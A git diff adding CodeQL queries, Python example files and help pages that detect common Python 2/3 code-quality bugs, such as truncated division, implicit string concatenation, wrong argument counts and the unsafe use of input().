    diff --git a/python/ql/src/Expressions/TruncatedDivision.ql b/python/ql/src/Expressions/TruncatedDivision.ql new file mode 100644 index 00000000000..3d4deb9ba54 --- /dev/null +++ b/python/ql/src/Expressions/TruncatedDivision.ql @@ -0,0 +1,37 @@ + /** + * @name Result of integer division may be truncated + * @description The arguments to a division statement may be integers, which + * may cause the result to be truncated in Python 2. + * @kind problem + * @tags maintainability + * correctness + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/truncated-division + */ + +import python + +from BinaryExpr div, ControlFlowNode left, ControlFlowNode right +where + // Only relevant for Python 2, as all later versions implement true division + major_version() = 2 + and + exists(BinaryExprNode bin, Object lobj, Object robj | + bin = div.getAFlowNode() + and bin.getNode().getOp() instanceof Div + and bin.getLeft().refersTo(lobj, theIntType(), left) + and bin.getRight().refersTo(robj, theIntType(), right) + // Ignore instances where integer division leaves no remainder + and not lobj.(NumericObject).intValue() % robj.(NumericObject).intValue() = 0 + and not bin.getNode().getEnclosingModule().hasFromFuture("division") + // Filter out results wrapped in `int(...)` + and not exists(CallNode c, ClassObject cls | + c.getAnArg() = bin + and c.getFunction().refersTo(cls) + and cls.getName() = "int" + ) + ) +select div, "Result of division may be truncated as its $@ and $@ arguments may both be integers.", + left.getLocation(), "left", right.getLocation(), "right" diff --git a/python/ql/src/Expressions/TruncatedDivisionCorrect.py b/python/ql/src/Expressions/TruncatedDivisionCorrect.py new file mode 100644 index 00000000000..eb51454bb86 --- /dev/null +++ b/python/ql/src/Expressions/TruncatedDivisionCorrect.py @@ -0,0 +1,8 @@ +# Correct: +from __future__ import division + +def average(l): + return sum(l) / len(l) + +print average([1.0, 2.0]) # Prints "1.5". +print average([1, 2]) # Prints "1.5". diff --git a/python/ql/src/Expressions/UnintentionalImplicitStringConcatenation.py b/python/ql/src/Expressions/UnintentionalImplicitStringConcatenation.py new file mode 100644 index 00000000000..7bc0862ae9b --- /dev/null +++ b/python/ql/src/Expressions/UnintentionalImplicitStringConcatenation.py @@ -0,0 +1,19 @@ + +def unclear(): + # Returns [ "first part of long string and the second part", "/usr/local/usr/bin" ] + return [ + + "first part of long string" + " and the second part", + "/usr/local" + "/usr/bin" + ] + +def clarified(): + # Returns [ "first part of long string and the second part", "/usr/local", "/usr/bin" ] + return [ + "first part of long string" + + " and the second part", + "/usr/local", + "/usr/bin" + ] diff --git a/python/ql/src/Expressions/UnintentionalImplicitStringConcatenation.qhelp b/python/ql/src/Expressions/UnintentionalImplicitStringConcatenation.qhelp new file mode 100644 index 00000000000..281d684224e --- /dev/null +++ b/python/ql/src/Expressions/UnintentionalImplicitStringConcatenation.qhelp @@ -0,0 +1,39 @@ + + + + +

    When two string literals abut each other the Python interpreter implicitly concatenates them into a +single string. On occasion this can be useful, but is more commonly misleading or incorrect. +

    + +
    + + + +

    If the concatenation is deliberate, then use + to join the strings. This has no runtime overhead, +and makes the intention clear. +

    + + +
    + + +

    +In the first function below, unclear, implicit string concatenation is used twice; once deliberately and once by accident. +In the second function, clarified, the first concatenation is made explicit and the second is removed. +

    + + + + +
    + + + + +
  • Python language reference: String literal concatenation.
  • + +
    +
    diff --git a/python/ql/src/Expressions/UnintentionalImplicitStringConcatenation.ql b/python/ql/src/Expressions/UnintentionalImplicitStringConcatenation.ql new file mode 100644 index 00000000000..70128406915 --- /dev/null +++ b/python/ql/src/Expressions/UnintentionalImplicitStringConcatenation.ql @@ -0,0 +1,35 @@ +/** + * @name Implicit string concatenation in a list + * @description Omitting a comma between strings causes implicit concatenation which is confusing in a list. + * @kind problem + * @tags reliability + * maintainability + * convention + * external/cwe/cwe-665 + * @problem.severity warning + * @sub-severity high + * @precision high + * @id py/implicit-string-concatenation-in-list + */ + +import python + +predicate string_const(Expr s) { + s instanceof StrConst + or + string_const(s.(BinaryExpr).getLeft()) and string_const(s.(BinaryExpr).getRight()) +} + +from StrConst s +where +// Implicitly concatenated string is in a list and that list contains at least one other string. +exists(List l, Expr other | + not s = other and + l.getAnElt() = s and + l.getAnElt() = other and + string_const(other) +) and +exists(s.getAnImplicitlyConcatenatedPart()) and +not s.isParenthesized() + +select s, "Implicit string concatenation. Maybe missing a comma?" diff --git a/python/ql/src/Expressions/UnnecessaryLambda.py b/python/ql/src/Expressions/UnnecessaryLambda.py new file mode 100644 index 00000000000..7c296bfceab --- /dev/null +++ b/python/ql/src/Expressions/UnnecessaryLambda.py @@ -0,0 +1,7 @@ +import math + +def call_with_x_squared(x, function): + x = x*x + return function(x) + +print call_with_x_squared(2, lambda x: math.factorial(x)) \ No newline at end of file diff --git a/python/ql/src/Expressions/UnnecessaryLambda.qhelp b/python/ql/src/Expressions/UnnecessaryLambda.qhelp new file mode 100644 index 00000000000..04ca0174b07 --- /dev/null +++ b/python/ql/src/Expressions/UnnecessaryLambda.qhelp @@ -0,0 +1,29 @@ + + + +

    A lambda that calls a function without modifying any of its parameters is unnecessary. +Python functions are first class objects and can be passed around in the same way as the resulting lambda. +

    + +
    + +

    Remove the lambda, use the function directly.

    + +
    + +

    In this example a lambda is used unnecessarily in order to pass a method as an argument to +call_with_x_squared.

    + + +

    This is not necessary as methods can be passed directly. They behave as callable objects.

    + + +
    + + +
  • Python: lambdas.
  • + +
    +
    diff --git a/python/ql/src/Expressions/UnnecessaryLambda.ql b/python/ql/src/Expressions/UnnecessaryLambda.ql new file mode 100644 index 00000000000..93b78238e9a --- /dev/null +++ b/python/ql/src/Expressions/UnnecessaryLambda.ql @@ -0,0 +1,57 @@ +/** + * @name Unnecessary lambda + * @description A lambda is used that calls through to a function without modifying any parameters + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/unnecessary-lambda + */ + +import python + +/* f consists of a single return statement, whose value is a call. The arguments of the call are exactly the parameters of f */ +predicate simple_wrapper(Lambda l, Expr wrapped) { + exists(Function f, Call c | f = l.getInnerScope() and c = l.getExpression() | + wrapped = c.getFunc() and + count(f.getAnArg()) = count(c.getAnArg()) and + forall(int arg | exists(f.getArg(arg)) | + f.getArgName(arg) = ((Name)c.getArg(arg)).getId()) and + /* Either no **kwargs or they must match */ + (not exists(f.getKwarg()) and not exists(c.getKwargs()) or + ((Name)f.getKwarg()).getId() = ((Name)c.getKwargs()).getId()) and + /* Either no *args or they must match */ + (not exists(f.getVararg()) and not exists(c.getStarargs()) or + ((Name)f.getVararg()).getId() = ((Name)c.getStarargs()).getId()) and + /* No named parameters in call */ + not exists(c.getAKeyword()) + ) + and + // f is not necessarily a drop-in replacement for the lambda if there are default argument values + not exists(l.getArgs().getADefault()) +} + +/* The expression called will refer to the same object if evaluated when the lambda is created or when the lambda is executed. */ +predicate unnecessary_lambda(Lambda l, Expr e) { + simple_wrapper(l, e) and + ( + /* plain class */ + exists(ClassObject c | e.refersTo(c)) + or + /* plain function */ + exists(FunctionObject f | e.refersTo(f)) + or + /* bound-method of enclosing instance */ + exists(ClassObject cls, Attribute a | + cls.getPyClass() = l.getScope().getScope() and a = e | + ((Name)a.getObject()).getId() = "self" and + cls.hasAttribute(a.getName()) + ) + ) +} + +from Lambda l, Expr e +where unnecessary_lambda(l, e) +select l, "This 'lambda' is just a simple wrapper around a callable object. Use that object directly." \ No newline at end of file diff --git a/python/ql/src/Expressions/UnnecessaryLambdaFix.py b/python/ql/src/Expressions/UnnecessaryLambdaFix.py new file mode 100644 index 00000000000..bbfcdb98aa0 --- /dev/null +++ b/python/ql/src/Expressions/UnnecessaryLambdaFix.py @@ -0,0 +1,7 @@ +import math + +def call_with_x_squared(x, function): + x = x*x + return function(x) + +print call_with_x_squared(2, math.factorial) \ No newline at end of file diff --git a/python/ql/src/Expressions/UnsupportedFormatCharacter.py b/python/ql/src/Expressions/UnsupportedFormatCharacter.py new file mode 100644 index 00000000000..60c4ebc53b9 --- /dev/null +++ b/python/ql/src/Expressions/UnsupportedFormatCharacter.py @@ -0,0 +1,6 @@ + +def format_as_tuple_incorrect(args): + return "%t" % args + +def format_as_tuple_correct(args): + return "%r" % (args,) diff --git a/python/ql/src/Expressions/UnsupportedFormatCharacter.qhelp b/python/ql/src/Expressions/UnsupportedFormatCharacter.qhelp new file mode 100644 index 00000000000..b22d59a209c --- /dev/null +++ b/python/ql/src/Expressions/UnsupportedFormatCharacter.qhelp @@ -0,0 +1,28 @@ + + + +

    A format string, that is the string on the left hand side of an expression like fmt % arguments, must consist of legal conversion specifiers. +Otherwise, a ValueError will be raised. + +

    + +
    + +

    Choose a legal conversion specifier.

    + +
    + +

    In format_as_tuple_incorrect, "t" is not a legal conversion specifier. + +

    + + +
    + + +
  • Python Library Reference: String Formatting.
  • + +
    +
    diff --git a/python/ql/src/Expressions/UnsupportedFormatCharacter.ql b/python/ql/src/Expressions/UnsupportedFormatCharacter.ql new file mode 100644 index 00000000000..d3876725233 --- /dev/null +++ b/python/ql/src/Expressions/UnsupportedFormatCharacter.ql @@ -0,0 +1,18 @@ +/** + * @name Unsupported format character + * @description An unsupported format character in a format string + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/percent-format/unsupported-character + */ + +import python +import semmle.python.strings + +from Expr e, int start +where start = illegal_conversion_specifier(e) +select e, "Invalid conversion specifier at index " + start + " of " + repr(e) + "." diff --git a/python/ql/src/Expressions/UseofApply.qhelp b/python/ql/src/Expressions/UseofApply.qhelp new file mode 100644 index 00000000000..afc4e7dea1e --- /dev/null +++ b/python/ql/src/Expressions/UseofApply.qhelp @@ -0,0 +1,28 @@ + + + + +

    The 'apply' function is deprecated and makes code harder to read as most Python programmers +will not be familiar with it (it has been deprecated since 2003). +

    + +
    + + +

    Replace apply(function, args) with function(*args). +

    +Replace apply(function, args, keywords) with function(*args, **keywords). +

    + + +
    + + +
  • Python Standard Library: apply.
  • +
  • Python PEP-290: Code Migration and Modernization.
  • + + +
    +
    diff --git a/python/ql/src/Expressions/UseofApply.ql b/python/ql/src/Expressions/UseofApply.ql new file mode 100644 index 00000000000..f9419962c29 --- /dev/null +++ b/python/ql/src/Expressions/UseofApply.ql @@ -0,0 +1,17 @@ +/** + * @name 'apply' function used + * @description The builtin function 'apply' is obsolete and should not be used. + * @kind problem + * @tags maintainability + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/use-of-apply + */ + +import python + +from CallNode call, ControlFlowNode func +where +major_version() = 2 and call.getFunction() = func and func.refersTo(theApplyFunction()) +select call, "Call to the obsolete builtin function 'apply'." diff --git a/python/ql/src/Expressions/UseofInput.qhelp b/python/ql/src/Expressions/UseofInput.qhelp new file mode 100644 index 00000000000..44baace8c43 --- /dev/null +++ b/python/ql/src/Expressions/UseofInput.qhelp @@ -0,0 +1,23 @@ + + + +

    A call to the input() function, input(prompt) is equivalent to eval(raw_input(prompt)). Evaluating user input without any checking can be a serious security flaw.

    + +
    + + +

    Get user input with raw_input(prompt) and then validate that input before evaluating. If the expected input is a number or +string, then ast.literal_eval() can always be used safely.

    + + +
    + + +
  • Python Standard Library: input, + ast.literal_eval.
  • +
  • Wikipedia: Data validation.
  • + +
    +
    diff --git a/python/ql/src/Expressions/UseofInput.ql b/python/ql/src/Expressions/UseofInput.ql new file mode 100644 index 00000000000..39289dd8a84 --- /dev/null +++ b/python/ql/src/Expressions/UseofInput.ql @@ -0,0 +1,18 @@ +/** + * @name 'input' function used + * @description The built-in function 'input' is used which can allow arbitrary code to be run. + * @kind problem + * @tags security + * correctness + * @problem.severity error + * @sub-severity high + * @precision high + * @id py/use-of-input + */ + +import python + +from CallNode call, Context context, ControlFlowNode func +where +context.getAVersion().includes(2, _) and call.getFunction() = func and func.refersTo(context, theInputFunction(), _, _) +select call, "The unsafe built-in function 'input' is used." diff --git a/python/ql/src/Expressions/WrongNameForArgumentInCall.qhelp b/python/ql/src/Expressions/WrongNameForArgumentInCall.qhelp new file mode 100644 index 00000000000..79be173c107 --- /dev/null +++ b/python/ql/src/Expressions/WrongNameForArgumentInCall.qhelp @@ -0,0 +1,30 @@ + + + +

    +Using a named argument whose name does not correspond to a parameter of the called function (or method), will result in a +TypeError at runtime. +

    + +
    + + +

    Check for typos in the name of the arguments and fix those. +If the name is clearly different, then this suggests a logical error. +The change required to correct the error will depend on whether the wrong argument has been +specified or whether the wrong function (or method) has been specified. +

    + +
    + + +
  • Python Glossary: Arguments.
  • +
  • Python Glossary: Parameters.
  • +
  • Python Programming FAQ: + What is the difference between arguments and parameters?.
  • + + +
    +
    diff --git a/python/ql/src/Expressions/WrongNameForArgumentInCall.ql b/python/ql/src/Expressions/WrongNameForArgumentInCall.ql new file mode 100644 index 00000000000..92c17f8e2ee --- /dev/null +++ b/python/ql/src/Expressions/WrongNameForArgumentInCall.ql @@ -0,0 +1,26 @@ +/** + * @name Wrong name for an argument in a call + * @description Using a named argument whose name does not correspond to a + * parameter of the called function or method, will result in a + * TypeError at runtime. + * @kind problem + * @tags reliability + * correctness + * external/cwe/cwe-628 + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/call/wrong-named-argument + */ + +import python +import Expressions.CallArgs + + +from Call call, FunctionObject func, string name +where +illegally_named_parameter(call, func, name) and +not func.isAbstract() and +not exists(FunctionObject overridden | func.overrides(overridden) and overridden.getFunction().getAnArg().(Name).getId() = name) +select +call, "Keyword argument '" + name + "' is not a supported parameter name of $@.", func, func.descriptiveString() diff --git a/python/ql/src/Expressions/WrongNumberArgumentsForFormat.py b/python/ql/src/Expressions/WrongNumberArgumentsForFormat.py new file mode 100644 index 00000000000..20ab7f15dab --- /dev/null +++ b/python/ql/src/Expressions/WrongNumberArgumentsForFormat.py @@ -0,0 +1,6 @@ +def unsafe_format(): + if unlikely_condition(): + args = (1,2) + else: + args = (1, 2, 3) + return "%s %s %s" % args diff --git a/python/ql/src/Expressions/WrongNumberArgumentsForFormat.qhelp b/python/ql/src/Expressions/WrongNumberArgumentsForFormat.qhelp new file mode 100644 index 00000000000..00d5cebe701 --- /dev/null +++ b/python/ql/src/Expressions/WrongNumberArgumentsForFormat.qhelp @@ -0,0 +1,26 @@ + + + +

    A formatting expression, that is an expression of the format fmt % arguments must have the correct number of +arguments on the right hand side of the expression. Otherwise, a TypeError will be raised. + +

    + +
    + +

    Change the format to match the arguments and ensure that the right hand argument always has the correct number of elements. + +

    + +

    In the following example the right hand side of the formatting operation can be of length 2, which does not match the format string<./p> +

    + +
    + + +
  • Python Library Reference: String Formatting.
  • + +
    +
    diff --git a/python/ql/src/Expressions/WrongNumberArgumentsForFormat.ql b/python/ql/src/Expressions/WrongNumberArgumentsForFormat.ql new file mode 100644 index 00000000000..aa163d91544 --- /dev/null +++ b/python/ql/src/Expressions/WrongNumberArgumentsForFormat.ql @@ -0,0 +1,45 @@ +/** + * @name Wrong number of arguments for format + * @description A string formatting operation, such as '"%s: %s, %s" % (a,b)', where the number of conversion specifiers in the + * format string differs from the number of values to be formatted will raise a TypeError. + * @kind problem + * @tags reliability + * correctness + * external/cwe/cwe-685 + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/percent-format/wrong-arguments + */ + +import python +import semmle.python.strings + +predicate string_format(BinaryExpr operation, StrConst str, Object args, AstNode origin) { + exists(Object fmt, Context ctx | operation.getOp() instanceof Mod | + operation.getLeft().refersTo(ctx, fmt, _, str) and + operation.getRight().refersTo(ctx, args, _, origin) + ) +} + +int sequence_length(Object args) { + /* Guess length of sequence */ + exists(Tuple seq | + seq = args.getOrigin() | + result = strictcount(seq.getAnElt()) and + not seq.getAnElt() instanceof Starred + ) + or + exists(ImmutableLiteral i | + i.getLiteralObject() = args | + result = 1 + ) +} + + +from BinaryExpr operation, StrConst fmt, Object args, int slen, int alen, AstNode origin, string provided +where string_format(operation, fmt, args, origin) and slen = sequence_length(args) and alen = format_items(fmt) and slen != alen and +(if slen = 1 then provided = " is provided." else provided = " are provided.") +select operation, "Wrong number of $@ for string format. Format $@ takes " + alen.toString() + ", but " + slen.toString() + provided, + origin, "arguments", + fmt, fmt.getText() diff --git a/python/ql/src/Expressions/WrongNumberArgumentsInCall.qhelp b/python/ql/src/Expressions/WrongNumberArgumentsInCall.qhelp new file mode 100644 index 00000000000..6215a3c35e9 --- /dev/null +++ b/python/ql/src/Expressions/WrongNumberArgumentsInCall.qhelp @@ -0,0 +1,39 @@ + + + +

    + A function call must supply an argument for each parameter that does not have a default value defined, so: +

    +
      +
    • The minimum number of arguments is the number of parameters without default values.
    • +
    • The maximum number of arguments is the total number of parameters, + unless the function takes a varargs (starred) parameter in which case there + is no limit.
    • +
    +
    + +

    If there are too few arguments then check to see which arguments have been omitted and supply values for those.

    + +

    If there are too many arguments then check to see if any have been added by mistake and remove those.

    + +

    + Also check where a comma has been inserted instead of an operator or a dot. + For example, the code is obj,attr when it should be obj.attr. +

    +

    If it is not clear which are the missing or surplus arguments, then this suggests a logical error. +The fix will then depend on the nature of the error. +

    + +
    + + +
  • Python Glossary: Arguments.
  • +
  • Python Glossary: Parameters.
  • +
  • Python Programming FAQ: + What is the difference between arguments and parameters?.
  • + + +
    +
    diff --git a/python/ql/src/Expressions/WrongNumberArgumentsInCall.ql b/python/ql/src/Expressions/WrongNumberArgumentsInCall.ql new file mode 100644 index 00000000000..b31e9e70445 --- /dev/null +++ b/python/ql/src/Expressions/WrongNumberArgumentsInCall.ql @@ -0,0 +1,30 @@ +/** + * @name Wrong number of arguments in a call + * @description Using too many or too few arguments in a call to a function will result in a TypeError at runtime. + * @kind problem + * @tags reliability + * correctness + * external/cwe/cwe-685 + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/call/wrong-arguments + */ + +import python +import CallArgs + +from Call call, FunctionObject func, string too, string should, int limit +where +( + too_many_args(call, func, limit) and too = "too many arguments" and should = "no more than " + or + too_few_args(call, func, limit) and too = "too few arguments" and should = "no fewer than " +) and +not func.isAbstract() and +not exists(FunctionObject overridden | func.overrides(overridden) and correct_args_if_called_as_method(call, overridden)) +/* The semantics of `__new__` can be a bit subtle, so we simply exclude `__new__` methods */ +and not func.getName() = "__new__" + +select call, "Call to $@ with " + too + "; should be " + should + limit.toString() + ".", func, func.descriptiveString() + diff --git a/python/ql/src/Filters/ClassifyFiles.ql b/python/ql/src/Filters/ClassifyFiles.ql new file mode 100644 index 00000000000..4448d993903 --- /dev/null +++ b/python/ql/src/Filters/ClassifyFiles.ql @@ -0,0 +1,20 @@ +/** + * @name Classify files + * @description This query produces a list of all files in a snapshot + * that are classified as generated code or test code. + * @kind file-classifier + * @id py/file-classifier + */ + +import python +import semmle.python.filters.GeneratedCode +import semmle.python.filters.Tests + +predicate classify(File f, string tag) { + f instanceof GeneratedFile and tag = "generated" or + exists (TestScope t | t.getLocation().getFile() = f) and tag = "test" +} + +from File f, string tag +where classify(f, tag) +select f, tag diff --git a/python/ql/src/Filters/ImportAdditionalLibraries.ql b/python/ql/src/Filters/ImportAdditionalLibraries.ql new file mode 100644 index 00000000000..aa55f486747 --- /dev/null +++ b/python/ql/src/Filters/ImportAdditionalLibraries.ql @@ -0,0 +1,16 @@ +/** + * @name (Import additional libraries) + * @description This query produces no results but imports some libraries we + * would like to make available in the LGTM query console even + * if they are not used by any queries. + * @kind file-classifier + * @id py/lgtm/import-additional-libraries + */ + +private import external.CodeDuplication +private import external.Thrift +private import external.VCS + +from File f, string tag +where none() +select f, tag diff --git a/python/ql/src/Filters/NotGenerated.ql b/python/ql/src/Filters/NotGenerated.ql new file mode 100644 index 00000000000..121fc3c7a45 --- /dev/null +++ b/python/ql/src/Filters/NotGenerated.ql @@ -0,0 +1,12 @@ +/** + * @name Filter: non-generated files + * @description Only keep results that aren't (or don't appear to be) generated. + * @kind file-classifier + * @id py/not-generated-file-filter + */ +import external.DefectFilter +import semmle.python.filters.GeneratedCode + +from DefectResult res +where not exists(GeneratedFile f | res.getFile() = f) +select res, res.getMessage() diff --git a/python/ql/src/Filters/NotTest.ql b/python/ql/src/Filters/NotTest.ql new file mode 100644 index 00000000000..4d6b0ec5162 --- /dev/null +++ b/python/ql/src/Filters/NotTest.ql @@ -0,0 +1,12 @@ +/** + * @name Filter: non-test files + * @description Only keep results that aren't in tests + * @kind file-classifier + * @id py/not-test-file-filter + */ +import external.DefectFilter +import semmle.python.filters.Tests + +from DefectResult res +where not exists(TestScope s | contains(s.getLocation(), res)) +select res, res.getMessage() diff --git a/python/ql/src/Functions/ConsistentReturns.py b/python/ql/src/Functions/ConsistentReturns.py new file mode 100644 index 00000000000..8a15b865574 --- /dev/null +++ b/python/ql/src/Functions/ConsistentReturns.py @@ -0,0 +1,19 @@ + def check_state1(state, interactive=True): + if not state['good'] or not state['bad']: + if (good or bad or skip or reset) and interactive: + return # implicitly return None + if not state['good']: + raise util.Abort(_('cannot bisect (no known good revisions)')) + else: + raise util.Abort(_('cannot bisect (no known bad revisions)')) + return True + + def check_state2(state, interactive=True): + if not state['good'] or not state['bad']: + if (good or bad or skip or reset) and interactive: + return False # return an explicit value + if not state['good']: + raise util.Abort(_('cannot bisect (no known good revisions)')) + else: + raise util.Abort(_('cannot bisect (no known bad revisions)')) + return True diff --git a/python/ql/src/Functions/ConsistentReturns.qhelp b/python/ql/src/Functions/ConsistentReturns.qhelp new file mode 100644 index 00000000000..cd29062ada6 --- /dev/null +++ b/python/ql/src/Functions/ConsistentReturns.qhelp @@ -0,0 +1,37 @@ + + + + + +

    When a function contains both explicit returns (return value) and implicit returns +(where code falls off the end of a function) this often indicates that a return +statement has been forgotten. It is best to return an explicit return value even when returning +None because this makes it easier for other developers to read your code. +

    + +
    + + +

    Add an explicit return at the end of the function.

    + + +
    + +

    In the check_state1 function, the developer probably did intend to use an implicit +return value of None as this equates to False. However, the function in +check_state2 is easier to read.

    + + + + +
    + + +
  • Python Language Reference: Function definitions. +
  • + + +
    +
    diff --git a/python/ql/src/Functions/ConsistentReturns.ql b/python/ql/src/Functions/ConsistentReturns.ql new file mode 100644 index 00000000000..f3344bd8f74 --- /dev/null +++ b/python/ql/src/Functions/ConsistentReturns.ql @@ -0,0 +1,32 @@ +/** + * @name Explicit returns mixed with implicit (fall through) returns + * @description Mixing implicit and explicit returns indicates a likely error as implicit returns always return 'None'. + * @kind problem + * @tags reliability + * maintainability + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/mixed-returns + */ + +import python + +predicate explicitly_returns_non_none(Function func) { + exists(Return return | return.getScope() = func and + exists(Expr val | + val= return.getValue() | + not val instanceof None + ) + ) +} + +predicate has_implicit_return(Function func) { + exists(ControlFlowNode fallthru | fallthru = func.getFallthroughNode() and not fallthru.unlikelyReachable()) or + exists(Return return | return.getScope() = func and not exists(return.getValue())) +} + + +from Function func +where explicitly_returns_non_none(func) and has_implicit_return(func) +select func, "Mixing implicit and explicit returns may indicate an error as implicit returns always return None." diff --git a/python/ql/src/Functions/DeprecatedSliceMethod.qhelp b/python/ql/src/Functions/DeprecatedSliceMethod.qhelp new file mode 100644 index 00000000000..9a47eeaf327 --- /dev/null +++ b/python/ql/src/Functions/DeprecatedSliceMethod.qhelp @@ -0,0 +1,37 @@ + + + +

    The __getslice__, __setslice__ and __delslice__ methods have been deprecated since Python 2.0. +In general, no class should implement these methods. +

    + +

    +The only exceptions to this rule are classes that inherit from list and override __getitem__, +__setitem__ or __delitem__. +Since list implements the slicing methods any class inheriting from list must implement the +the slicing methods to ensure correct behavior of __getitem__, __setitem__ and __delitem__. +These exceptions to the rule will not be treated as violations. +

    + +
    + +

    +Delete the slicing method. Any functionality should be moved to the equivalent __xxxitem__ method: +

    +
      +
    • __getslice__ should be replaced with __getitem__
    • +
    • __setslice__ should be replaced with __setitem__
    • +
    • __delslice__ should be replaced with __delitem__
    • +
    + +
    + + +
  • Python Language Reference: +Additional methods for emulation of sequence types. +
  • + +
    +
    diff --git a/python/ql/src/Functions/DeprecatedSliceMethod.ql b/python/ql/src/Functions/DeprecatedSliceMethod.ql new file mode 100644 index 00000000000..b81d0b750a6 --- /dev/null +++ b/python/ql/src/Functions/DeprecatedSliceMethod.ql @@ -0,0 +1,24 @@ +/** + * @name Deprecated slice method + * @description Defining special methods for slicing has been deprecated since Python 2.0. + * @kind problem + * @tags maintainability + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/deprecated-slice-method + */ + +import python + +predicate slice_method_name(string name) { + name = "__getslice__" or name = "__setslice__" or name = "__delslice__" +} + +from PyFunctionObject f, string meth + +where f.getFunction().isMethod() and not f.isOverridingMethod() and + slice_method_name(meth) and f.getName() = meth + + +select f, meth + " method has been deprecated since Python 2.0" \ No newline at end of file diff --git a/python/ql/src/Functions/ExplicitReturnInInit.py b/python/ql/src/Functions/ExplicitReturnInInit.py new file mode 100644 index 00000000000..b0ab9760d7c --- /dev/null +++ b/python/ql/src/Functions/ExplicitReturnInInit.py @@ -0,0 +1,4 @@ +class ExplicitReturnInInit(object): + def __init__(self, i): + self.i = i + return self \ No newline at end of file diff --git a/python/ql/src/Functions/ExplicitReturnInInit.qhelp b/python/ql/src/Functions/ExplicitReturnInInit.qhelp new file mode 100644 index 00000000000..c789f24c4e5 --- /dev/null +++ b/python/ql/src/Functions/ExplicitReturnInInit.qhelp @@ -0,0 +1,28 @@ + + + +

    The __init__ method of a class is used to initialize new objects, +not create them. As such, it should not return any value. Returning None +is correct in the sense that no runtime error will occur, +but it suggests that the returned value is meaningful, which it is not.

    + +
    + +

    Convert the return expr statement to a plain return statement, +or omit it altogether if it is at the end of the method.

    + +
    + +

    In this example, the __init__ method attempts to return the newly created +object. This is an error and the return method should be removed.

    + + +
    + + +
  • Python: The __init__ method.
  • + +
    +
    diff --git a/python/ql/src/Functions/ExplicitReturnInInit.ql b/python/ql/src/Functions/ExplicitReturnInInit.ql new file mode 100644 index 00000000000..0885e7cbdd7 --- /dev/null +++ b/python/ql/src/Functions/ExplicitReturnInInit.ql @@ -0,0 +1,23 @@ +/** + * @name __init__ method returns a value + * @description Explicitly returning a value from an __init__ method will raise a TypeError. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/explicit-return-in-init + */ + +import python + +from Return r +where exists(Function init | init.isInitMethod() and +r.getScope() = init and exists(r.getValue())) and +not r.getValue() instanceof None and +not exists(FunctionObject f | f.getACall() = r.getValue().getAFlowNode() | + f.neverReturns() +) and +not exists(Attribute meth | meth = ((Call)r.getValue()).getFunc() | meth.getName() = "__init__") +select r, "Explicit return in __init__ method." diff --git a/python/ql/src/Functions/IncorrectRaiseInSpecialMethod.py b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod.py new file mode 100644 index 00000000000..e76c27145db --- /dev/null +++ b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod.py @@ -0,0 +1,16 @@ +#Incorrect unhashable class +class MyMutableThing(object): + + def __init__(self): + pass + + def __hash__(self): + raise NotImplementedError("%r is unhashable" % self) + +#Make class unhashable in the standard way +class MyCorrectMutableThing(object): + + def __init__(self): + pass + + __hash__ = None diff --git a/python/ql/src/Functions/IncorrectRaiseInSpecialMethod.qhelp b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod.qhelp new file mode 100644 index 00000000000..f4f0cd6920a --- /dev/null +++ b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod.qhelp @@ -0,0 +1,71 @@ + + + +

    User-defined classes interact with the Python virtual machine via special methods (also called "magic methods"). +For example, for a class to support addition it must implement the __add__ and __radd__ special methods. +When the expression a + b is evaluated the Python virtual machine will call type(a).__add__(a, b) and if that +is not implemented it will call type(b).__radd__(b, a).

    +

    +Since the virtual machine calls these special methods for common expressions, users of the class will expect these operations to raise standard exceptions. +For example, users would expect that the expression a.b might raise an AttributeError +if the object a does not have an attribute b. +If a KeyError were raised instead, +then this would be unexpected and may break code that expected an AttributeError, but not a KeyError. +

    + +

    +Therefore, if a method is unable to perform the expected operation then its response should conform to the standard protocol, described below. +

    + +
      +
    • Attribute access, a.b: Raise AttributeError
    • +
    • Arithmetic operations, a + b: Do not raise an exception, return NotImplemented instead.
    • +
    • Indexing, a[b]: Raise KeyError.
    • +
    • Hashing, hash(a): Use __hash__ = None to indicate that an object is unhashable.
    • +
    • Equality methods, a != b: Never raise an exception, always return True or False.
    • +
    • Ordering comparison methods, a < b: Raise a TypeError if the objects cannot be ordered.
    • +
    • Most others: Ideally, do not implement the method at all, otherwise raise TypeError to indicate that the operation is unsupported.
    • +
    + +
    + +

    If the method is meant to be abstract, then declare it so using the @abstractmethod decorator. +Otherwise, either remove the method or ensure that the method raises an exception of the correct type. +

    + +
    + + +

    +This example shows two unhashable classes. The first class is unhashable in a non-standard way which may cause maintenance problems. +The second, corrected, class uses the standard idiom for unhashable classes. +

    + +

    +In this example, the first class is implicitly abstract; the __add__ method is unimplemented, +presumably with the expectation that it will be implemented by sub-classes. +The second class makes this explicit with an @abstractmethod decoration on the unimplemented __add__ method. +

    + +

    +In this last example, the first class implements a collection backed by the file store. +However, should an IOError be raised in the __getitem__ it will propagate to the caller. +The second class handles any IOError by reraising a KeyError which is the standard exception for +the __getitem__ method. +

    + + + + +
    + + +
  • Python Language Reference: Special Method Names.
  • +
  • Python Library Reference: Exceptions.
  • + + + +
    +
